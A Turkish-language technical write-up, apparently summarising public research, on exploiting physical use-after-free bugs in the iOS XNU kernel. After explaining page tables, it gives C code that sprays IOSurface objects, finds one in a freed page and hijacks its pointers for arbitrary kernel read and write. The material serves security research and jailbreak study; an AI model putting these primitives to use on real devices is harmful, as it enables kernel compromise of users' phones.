iOS Exploiting
Reading time: 6 minutes
Fiziksel kullanımdan sonra serbest bırakma
Bu, https://alfiecg.uk/2024/09/24/Kernel-exploit.html adresindeki gönderiden bir özet olup, bu tekniği kullanarak yapılan exploit hakkında daha fazla bilgi https://github.com/felix-pb/kfd adresinde bulunabilir.
XNU'da Bellek Yönetimi
iOS'taki kullanıcı süreçleri için sanaldan bellek adres alanı 0x0 ile 0x8000000000 arasında uzanır. Ancak, bu adresler doğrudan fiziksel belleğe karşılık gelmez. Bunun yerine, kernel sanal adresleri gerçek fiziksel adreslere çevirmek için sayfa tabloları kullanır.
iOS'taki Sayfa Tablolarının Seviyeleri
Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir:
- L1 Sayfa Tablosu (Seviye 1):
- Buradaki her giriş, geniş bir sanal bellek aralığını temsil eder.
- 0x1000000000 bayt (veya 256 GB) sanal belleği kapsar.
- L2 Sayfa Tablosu (Seviye 2):
- Buradaki bir giriş, daha küçük bir sanal bellek bölgesini, özellikle 0x2000000 bayt (32 MB) temsil eder.
- Bir L1 girişi, tüm bölgeyi kendisi haritalayamıyorsa bir L2 tablosuna işaret edebilir.
- L3 Sayfa Tablosu (Seviye 3):
- Bu en ince seviyedir; her giriş tek bir 4 KB bellek sayfasını haritalar.
- Daha ayrıntılı kontrol gerekiyorsa, bir L2 girişi bir L3 tablosuna işaret edebilir.
Sanal Belleği Fiziksel Belleğe Haritalama
- Doğrudan Haritalama (Blok Haritalama):
- Bir sayfa tablosundaki bazı girişler, bir dizi sanal adresi kesintisiz bir fiziksel adres aralığına doğrudan haritalar (kısa yol gibi).
- Çocuk Sayfa Tablosuna İşaretçi:
- Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki (örneğin, L2) bir çocuk sayfa tablosuna işaret edebilir.
Örnek: Sanal Bir Adresi Haritalama
Diyelim ki sanal adres 0x1000000000'e erişmeye çalışıyorsunuz:
- L1 Tablosu:
- Kernel, bu sanal adrese karşılık gelen L1 sayfa tablosu girişini kontrol eder. Eğer bir L2 sayfa tablosuna işaretçi varsa, o L2 tablosuna gider.
- L2 Tablosu:
- Kernel, daha ayrıntılı bir haritalama için L2 sayfa tablosunu kontrol eder. Eğer bu giriş bir L3 sayfa tablosuna işaret ediyorsa, oraya devam eder.
- L3 Tablosu:
- Kernel, gerçek bellek sayfasının fiziksel adresine işaret eden son L3 girişini arar.
Adres Haritalama Örneği
Eğer fiziksel adres 0x800004000'i L2 tablosunun ilk indeksine yazarsanız, o zaman:
- 0x1000000000 ile 0x1002000000 arasındaki sanal adresler, 0x800004000 ile 0x802004000 arasındaki fiziksel adreslere haritalanır.
- Bu, L2 seviyesinde bir blok haritalamadır.
Alternatif olarak, eğer L2 girişi bir L3 tablosuna işaret ediyorsa:
- 0x1000000000 -> 0x1002000000 sanal adres aralığındaki her 4 KB sayfa, L3 tablosundaki bireysel girişler tarafından haritalanır.
Fiziksel Kullanımdan Sonra Serbest Bırakma
Bir fiziksel kullanımdan sonra serbest bırakma (UAF) durumu, şu durumlarda meydana gelir:
- Bir süreç bazı belleği okunabilir ve yazılabilir olarak ayırır.
- Sayfa tabloları, bu belleği erişebileceği belirli bir fiziksel adrese haritalamak için güncellenir.
- Süreç belleği serbest bırakır (boşaltır).
- Ancak, bir hata nedeniyle, kernel haritalamayı sayfa tablosundan kaldırmayı unutur, oysa ilgili fiziksel belleği serbest olarak işaretler.
- Kernel, bu "serbest bırakılmış" fiziksel belleği, kernel verileri gibi diğer amaçlar için yeniden tahsis edebilir.
- Haritalama kaldırılmadığı için, süreç bu fiziksel belleğe hala okuma ve yazma yapabilir.
Bu, sürecin kernel belleği sayfalarına erişebilmesi anlamına gelir; bu sayfalar hassas veriler veya yapılar içerebilir ve potansiyel olarak bir saldırganın kernel belleğini manipüle etmesine olanak tanır.
Sömürü Stratejisi: Heap Spray
Saldırgan, hangi belirli kernel sayfalarının serbest bırakılmış belleğe tahsis edileceğini kontrol edemediğinden, heap spray adı verilen bir teknik kullanır:
- Saldırgan, kernel belleğinde birçok IOSurface nesnesi oluşturur.
- Her IOSurface nesnesi, kolayca tanımlanabilmesi için bir alanında sihirli bir değer içerir.
- Serbest bırakılmış sayfaları tarar ve bu IOSurface nesnelerinden herhangi birinin serbest bırakılmış bir sayfaya düşüp düşmediğini kontrol eder.
- Serbest bırakılmış bir sayfada bir IOSurface nesnesi bulduklarında, bunu kernel belleğini okumak ve yazmak için kullanabilirler.
Bu konuda daha fazla bilgi https://github.com/felix-pb/kfd/tree/main/writeups adresinde bulunmaktadır.
Adım Adım Heap Spray Süreci
- IOSurface Nesnelerini Spray Et: Saldırgan, özel bir tanımlayıcı ("sihirli değer") ile birçok IOSurface nesnesi oluşturur.
- Serbest Sayfaları Tara: Bu nesnelerin serbest bırakılmış bir sayfada tahsis edilip edilmediğini kontrol ederler.
- Kernel Belleğini Oku/Yaz: IOSurface nesnesindeki alanları manipüle ederek, kernel belleğinde rastgele okuma ve yazma yapma yeteneği kazanırlar. Bu, onlara:
- Kernel belleğindeki herhangi bir 32 bit değeri okuma yeteneği sağlar.
- 64 bit değerleri yazma yeteneği sağlar ve bu da istikrarlı bir kernel okuma/yazma ilkesine ulaşmalarını sağlar.
Sihirli değer IOSURFACE_MAGIC ile IOSurface nesneleri oluşturun ve daha sonra aramak için:
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
Serbest bırakılmış bir fiziksel sayfada IOSurface
nesnelerini arayın:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
IOSurface ile Kernel Okuma/Yazma Elde Etme
Kernel belleğinde bir IOSurface nesnesi üzerinde kontrol sağladıktan sonra (kullanıcı alanından erişilebilen serbest bırakılmış bir fiziksel sayfaya eşlenmiş), bunu rastgele kernel okuma ve yazma işlemleri için kullanabiliriz.
IOSurface'daki Anahtar Alanlar
IOSurface nesnesinin iki kritik alanı vardır:
- Kullanım Sayısı İşaretçisi: 32-bit okuma sağlar.
- İndeksli Zaman Damgası İşaretçisi: 64-bit yazma sağlar.
Bu işaretçileri geçersiz kılarak, onları kernel belleğindeki rastgele adreslere yönlendiriyoruz ve okuma/yazma yeteneklerini etkinleştiriyoruz.
32-Bit Kernel Okuma
Okuma gerçekleştirmek için:
- kullanım sayısı işaretçisini hedef adrese 0x14 baytlık bir offset çıkararak işaret edecek şekilde geçersiz kılın.
- O adresteki değeri okumak için
get_use_count
yöntemini kullanın.
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
64-Bit Kernel Yazma
Yazma işlemi gerçekleştirmek için:
- İndeksli zaman damgası işaretçisini hedef adrese yazın.
- 64-bit bir değer yazmak için
set_indexed_timestamp
yöntemini kullanın.
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
Exploit Akışı Özeti
- Fiziksel Use-After-Free Tetikleme: Serbest sayfalar yeniden kullanım için mevcuttur.
- IOSurface Nesnelerini Spray Etme: Kernel belleğinde benzersiz bir "sihirli değer" ile birçok IOSurface nesnesi ayırın.
- Erişilebilir IOSurface'ı Belirleme: Kontrol ettiğiniz serbest bir sayfada bir IOSurface bulun.
- Use-After-Free'i Kötüye Kullanma: IOSurface nesnesindeki işaretçileri değiştirerek IOSurface yöntemleri aracılığıyla keyfi kernel okuma/yazma işlemlerini etkinleştirin.
Bu ilkelere sahip olarak, exploit kontrol edilen 32-bit okumalar ve 64-bit yazmalar sağlar. Daha fazla jailbreak adımları, ek korumaları aşmayı gerektirebilecek daha stabil okuma/yazma ilkelere dahil olabilir (örneğin, daha yeni arm64e cihazlarda PPL).